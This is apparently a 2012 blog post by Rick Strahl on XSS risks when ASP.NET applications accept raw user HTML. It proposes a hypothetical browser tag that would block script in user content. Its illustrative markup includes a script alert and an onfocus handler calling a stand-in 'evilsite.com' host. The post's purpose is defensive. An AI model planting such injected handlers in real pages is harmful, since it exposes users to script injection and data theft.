The Web can be an
evil place, especially if you're a Web Developer blissfully unaware
of Cross Site Script Attacks (XSS). Even if you are aware
of XSS in all
of its insidious forms, it's extremely complex to deal with all the issues if you're taking user input and you're actually allowing users to post raw HTML into an application. I'm dealing with this again today in a Web application where legacy data contains raw HTML that has to be displayed and users ask for the ability to use raw HTML as input for listings. The first line
of defense
of course is: Just say no to HTML input from users. If you don't allow HTML input directly and use HTML Encoding (HttyUtility.HtmlEncode() in .NET or using standard ASP.NET MVC output @Model.Content) you're fairly safe at least from the HTML input provided. Both WebForms and Razor support HtmlEncoded content, although Razor makes it the default. In Razor the default @ expression syntax:@Model.UserContent
automatically produces HTML encoded content - you actually have to go out
of your way to create raw HTML content (safe by default) using @Html.Raw() or the HtmlString class.
In Web Forms (V4) you can use:<%: Model.UserContent %>
or if you're using a version prior to 4.0:<%= HttpUtility.HtmlEncode(Model.UserContent) %>
This works great as a hedge against embedded <script> tags and HTML markup as any HTML is turned into text that displays as HTML but doesn't render the HTML. But it turns any embedded HTML markup tags into plain text. If you need to display HTML in raw form with the markup tags rendering based on user input this approach is worthless.
If you do accept HTML input and need to echo the rendered HTML input back, the task
of cleaning up that HTML is a complex task.
In the projects I work on, customers are frequently asking for the ability to post raw HTML quite frequently. Almost every app that I've built where there's document content from users we start out with text only input - possibly using something like MarkDown - but inevitably users want to just post plain old HTML they created in some other rich editing application. See this a lot with realtors especially who often want to reuse their postings easily in multiple places.
In my work this is a common problem I need to deal with and I've tried dozens
of different methods from sanitizing, simple rejection
of input to custom markup schemes none
of which have ever felt comfortable to me. They work in a half assed, hacked together sort
of way but I always live in fear
of missing something vital which is *really easy to do*.
My Wishlist Item: A <restricted> tag in HTML
Let me dream here for a second on how to address this problem. It seems to me the easiest place where this can be fixed is: In the browser. Browsers are actually executing script code so they have a lot
of control over the script code that resides in a page. What if there was a way to specify that you want to turn off script code for a block
of HTML?
The main issue when dealing with HTML raw input isn't that we as developers are unaware
of the implications
of user input, but the fact that we sometimes have to display raw HTML input the user provides. So the problem markup is usually isolated in only a very specific part
of the document.
So, what if we had a way to specify that in any given HTML block, no script code could execute by wrapping it into a tag that disables all script functionality in the browser? This would include <script> tags and any document script attributes like onclick, onfocus etc. and potentially also disallow things like iFrames that can potentially be scripted from the within the iFrame's target.
I'd like to see something along these lines:<article>
<restricted allowscripts="no" allowiframes="no">
<div>Some content</div>
<script>alert('go ahead make my day, punk!");</script>
<div onfocus="$.getJson('http://evilsite.com/')">more content</div>
</restricted>
</article>
A tag like this would basically disallow all script code from firing from any HTML that's rendered within it. You'd use this only on code that you actually render from your data only and only if you are dealing with custom data. So something like this:<article>
<restricted>
@Html.Raw(Model.UserContent)
</restricted>
</article>
For browsers this would actually be easy to intercept. They render the DOM and control loading and execution
of scripts that are loaded through it. All the browser would have to do is suspend execution
of <script> tags and not hookup any event handlers defined via markup in this block. Given all the crazy XSS attacks that exist and the prevalence
of this problem this would go a long way towards preventing at least coded script attacks in the DOM. And it seems like a totally doable solution that wouldn't be very difficult to implement by vendors.
There would also need to be some logic in the parser to not allow an </restricted> or <restricted> tag into the content as to short-circuit the rstricted section (per James Hart's comment). I'm sure there are other issues to consider as well that I didn't think
of in my off-the-back-of-a-napkin concept here but the idea overall seems worth consideration I think.
Without code running in a user supplied HTML block it'd be pretty hard to compromise a local HTML document and pass information like Cookies to a server. Or even send data to a server period. Short
of an iFrame that can access the parent frame (which is another restriction that should be available on this <restricted> tag) that could potentially communicate back, there's not a lot a malicious site could do.
The HTML could still 'phone home' via image links and href links potentially and basically say this site was accessed, but without the ability to run script code it would be pretty tough to pass along critical information to the server beyond that.
Ahhhh… one can dream…
Not holding my breath
of course. The design by committee that is the W3C can't agree on anything in timeframes measured less than decades, but maybe this is one place where browser vendors can actually step up the pressure. This is something in their best interest to reduce the attack surface for vulnerabilities on their browser platforms significantly.
Several people commented on Twitter today that there isn't enough discussion on issues like this that address serious needs in the web browser space. Realistically security has to be a number one concern with Web applications in general - there isn't a Web app out there that is not vulnerable. And yet nothing has been done to address these security issues even though there might be relatively easy solutions to make this happen.
It'll take time, and it's probably not going to happen in our lifetime, but maybe this rambling thought sparks some ideas on how this sort
of restriction can get into browsers in some way in the future.© Rick Strahl, West Wind Technologies, 2005-2012Posted in ASP.NET HTML5 HTML Security
Tweet
!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");
(function() {
var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
po.src = 'https://apis.google.com/js/plusone.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
})();
